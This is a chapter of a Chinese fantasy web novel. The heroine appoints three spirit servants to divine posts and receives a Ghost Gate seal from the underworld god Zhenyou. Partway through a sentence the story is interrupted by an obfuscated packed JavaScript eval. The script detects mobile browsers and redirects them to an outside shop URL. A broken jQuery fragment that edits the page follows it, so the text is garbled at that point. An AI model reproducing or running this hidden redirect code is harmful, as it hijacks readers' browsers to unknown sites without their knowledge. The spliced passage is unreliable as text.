“敕令:颐杏,本体银杏,坚韧不拔,细致周全,历经劫波而道心弥坚。今封尔为‘秋实使’,掌灵植守护、果实蕴化、仓储丰穰之职。尔当以守护之心,看顾五谷百果,保其成熟无虞,丰产归仓。”
一道杏黄色中带着金色光点的神力没入颐杏体内。
她眉心亮起一枚形似杏果与麦穗的温暖神纹,周身气息更加凝实稳固,仿佛与庄园内外所有灵植的“结果”与“守护”概念产生了深刻联系。她激动得声音发颤:“颐杏领受神职,谢主人……谢娘娘厚赐!定当竭尽所能,守得硕果满园!”
“敕令:夙茶,本体灵茶,心思澄明,质朴勤恳,于耕作之事颇有天赋灵性。今封尔为‘沃壤使’,掌土壤育肥、灵田打理、基础农艺传播之职。尔当以勤勉之志,滋养脚下沃土,精研耕作之法,惠及凡俗农桑。”
一道褐金色中充满蓬勃生机的神力融入夙茶身体。
她眉心出现一枚形似新芽与犁铧的朴实神纹,感觉自身与土地的联系前所未有的紧密,仿佛能听到土壤渴求滋养与渴望被精心照料的“声音”。
她笑得灿烂,用力磕头:“夙茶领受神职!谢娘娘!我一定把地种得肥肥的,让庄稼长得壮壮的!”
三妖敕封完毕,神殿内神光流转,天道隐有感应,降下丝丝缕缕的功德气运,分别融入三妖新得的神位之中,助其稳固。他们原本的妖气迅速被精纯的神力中和转化,气息变得中正平和,带上了属于天地正神的独特威仪。
郑悠檀能清晰地感觉到,自己与三妖之间建立起了一种比主仆契约更加深刻、更加紧密的“神职链接”。
她可以通过这链接感知他们的状态、传达指令,甚至在一定程度上共享他们对职权范围的感知,这是因为他们使用的是自己分享出去的权柄。
同时,她也感觉到自己的“司命社稷”权柄,因为有了具体执行者的填充,变得稍微凝实灵动了几分。
“神职已授,权柄初定。你们需尽快熟悉自身职责,勤加修炼,莫要辜负这份机缘与责任。”
郑悠檀语气温和下来,带着期许,“日常仍以庄园和仙院事务为主,若有疑难,可来神殿祈祷,我自会感知。待你们神职稳固,对权柄领悟更深,我再为你们划分具体的辖域与信众范围。”
“谨遵娘娘教诲!”三妖齐声应道,脸上都洋溢着新生的喜悦与沉甸甸的责任感。
就在这时,郑悠檀心念微动,感觉到与镇幽约定的时辰将近。她看了一眼仍在适应新神位的三妖,道:“你们且在此稍作适应,稳固神位。我还有要事需往地府一趟。”
“是,恭送娘娘。”三妖连忙行礼。
郑悠檀点点头,身影自神殿中缓缓淡去。她需返回庄园,静心凝神,等待子时到来,镇幽的接引。
而留在神殿中的竹青、颐杏、夙茶,则互相对视一眼,皆看到对方眼中的激动与坚定。
对他们来说,就算努力修炼,即使气运盖顶,最强也莫过于成为妖王,而主却让他们洗脱妖气,一息成神,纵使只是辅神,那也是神!
纵使是最稳重的竹青也忍不住流露出喜色,他们高兴地互相给对道喜,平复了好半天情绪,才盘膝坐在属于自己的蒲团上,开始仔细体悟新得的神力与权柄信息。
郑悠檀的身影自司命社稷神殿淡去,心念微动,并未直接返回庄园,而是出现在了镇岳幽寰神殿之中。
幽深肃穆的神殿内,镇幽的神像仿佛感知到她的到来,那威严的帝眸中流转过一丝极难察觉的,属于魏长风的柔和神采。
“悠檀。”镇幽的声音直接在她心神中响起,比神念传音更近一步,仿佛就在耳畔,“你神光外显,气息雀跃,可是有喜事?”
他显然察觉到了她刚刚行使神权,敕封属神后尚未完全平复的神力波动与心绪。
“嗯,刚把竹青、颐杏、夙茶他们三个的神职定下了。”郑悠檀以心神回应,语气带着一丝完成要事的轻松,“司命社稷麾下,总算有了第一批干活的人,我分别敕封他们为‘青霖使’、‘秋实使’、‘沃壤使’。”
“甚好。”镇幽的声音里带着赞许,“权柄有依,方能运转不息。你之‘司命’一道,确需此类专精实务的辅神。”
他略作停顿,仿佛在回忆,“竹青……我记得本体是千年灵竹,心性尚可。魏长风先前似乎予了他一年观察之期?”
“是的。”郑悠檀点头,这正是她此刻过来想说的另一件事,“长风闭关前确有此意。但如今形势变化,地府重启,你这边诸事草创,长风本体又不知何时出关。竹青本人意愿明确,道途也更契合我这边。夙茶心直,提醒我若长期将他悬置,恐生隔阂。我权衡之下,今日便一并敕封了。特来与你说一声,你……可觉妥当?若你这边日后急需他这样的大妖坐镇,我再做调整也可。”
镇幽沉默了片刻,并非不满,而是在快速与闭关中的本体意识进行着深层次的沟通。
片刻后,他的声音再次响起,更加平和:“无妨,本体之意,也是考察其心性是否堪用,既然他已通过你之考察,自然无需再做考验,况且竹青为草木生灵,生机盎然,于吾反而不甚契合,他既已得你神职,便是正途。此事,长风亦无异议。”
这番话彻底打消了郑悠檀的顾虑。
其实眼前若仍然是魏长风,她甚至不会考虑这么多,可镇幽是他,却也不完全是他,因此她才不得不更多的在合作方面考虑。
包括镇幽也想到了这一点,他想告诉她不用思考太多,自己不会在任何方面与她计较。但问题是,他能说自己就是魏长风吗?本体又会怎么想呢?
他在心中叹了一口长气,最终还是没有提及。
郑悠檀又问他:“六味结晶收集的如何了?
镇幽:“收集到一些,我现在就传给你,另外,冥王精血,现在需要吗?”
郑悠檀想到制作鬼门关的需要用到的冥王令,犹豫了好半天都没能开口。
镇幽问她:“是有何未决之事吗?”
郑悠檀略微沉吟,还是决定直言:“确实有一事……建造鬼门关,需要用到冥王印。”她说得有些慢,观察着镇幽……神像的反应。
毕竟冥王印象征着镇幽的核心权柄,非同小可。
镇幽闻言,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752286|202711||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并未立刻作答,帝袍神像周围的幽光似乎略微凝滞了一瞬。
但很快,他的声音传来,带着一丝了然与……几不可查的温和调侃:“原来是在为此事犹豫,你方才封赏属下那般果决,怎地到了我这里,反倒踌躇起来了?”
郑悠檀被他说得有点不好意思,以心神回应:“……那毕竟是你权柄核心的象征之一。而且,我总觉得……”
她顿了顿,最终还是说出了那份微妙的感觉,“向你索要,和向长风索要,感觉还是不同。”
这话触动了镇幽心底最深处那根弦。
他知道她察觉到了那丝不同,他自己又何尝不是时时体味着这份“既是,又不完全是”的复杂?
他既是魏长风割裂出的意志,承载着守护她,与她并肩的全部记忆与情感,又必须独立肩负起冥王的重责,行事需更契合幽冥的法则与威仪。
“于我而言,并无不同。”镇幽的声音沉静下来,却比之前更加清晰坚定,仿佛在陈述一个不容置疑的事实,“无论‘魏长风’还是‘镇幽’,与你共享权柄,共筑此界秩序的心意,从未改变。你需要冥王印构建鬼门关,完善地府门户与秩序,这本身便是地府运转所需,亦是……‘我们’共同的大业。”
他顿了顿,似乎在做某种无形的操作,神殿内幽光流转。
“印信权柄,可分不可夺,我自可分出一缕本源神性,结合幽冥法则,凝成一道‘冥王印·鬼门’子印,专司鬼门关之构建,开启与镇守,与鬼门关本身规则绑定。此印既是构建之钥,亦是日后运转之核,交予你手,最为合适。”
话音落下,镇幽神像掌心幽光汇聚,一枚通体玄黑、非金非玉、其上天然流转着无数细密幽文与山川轮回虚影的小印缓缓凝聚成型,散发着深邃而威严的气息。
小印缓缓飘向郑悠檀。
“接着吧。”镇幽道,“此印予你,鬼门关方可真正成为连接阴阳,受冥府承认之门户。至于其他建筑所需……精血稍后一并给你。”
郑悠檀心中那点隔阂与犹豫,因他这番坦诚而周全的话语彻底消散。
她伸出手,那枚微凉的子印落入她掌心,瞬间与她神识产生了一丝稳固的联系,无数关于鬼门关构建、幽冥通道规则的信息流淌而过。
她郑重收好,“多谢。”
这一次的道谢,包含了更复杂的情绪。
“你我之间,何须言谢。”镇幽的声音恢复了一贯的平稳,“六味结晶与精血,待你神魂降临地府,亲手构建时再予你,到时估计会多积攒几分。”
“明白。”郑悠檀点头,不再多言,镇幽的周全与支持,让她对即将开始的地府基建之旅充满了信心,也驱散了因身份微妙而产生的那一丝不确定感。
她最后看了一眼那尊威严的帝袍神像,身影缓缓淡去,返回庄园静候子时。
而镇岳幽寰神殿中,重新恢复了一片深沉的寂静。
唯有镇幽的神像,仿佛在无人可见的深处,眸光微微闪动,一丝极淡的,属于魏长风的温柔与坚定交织的复杂情绪,悄然掠过,随即又深深敛入那属于冥王的无边沉静之中。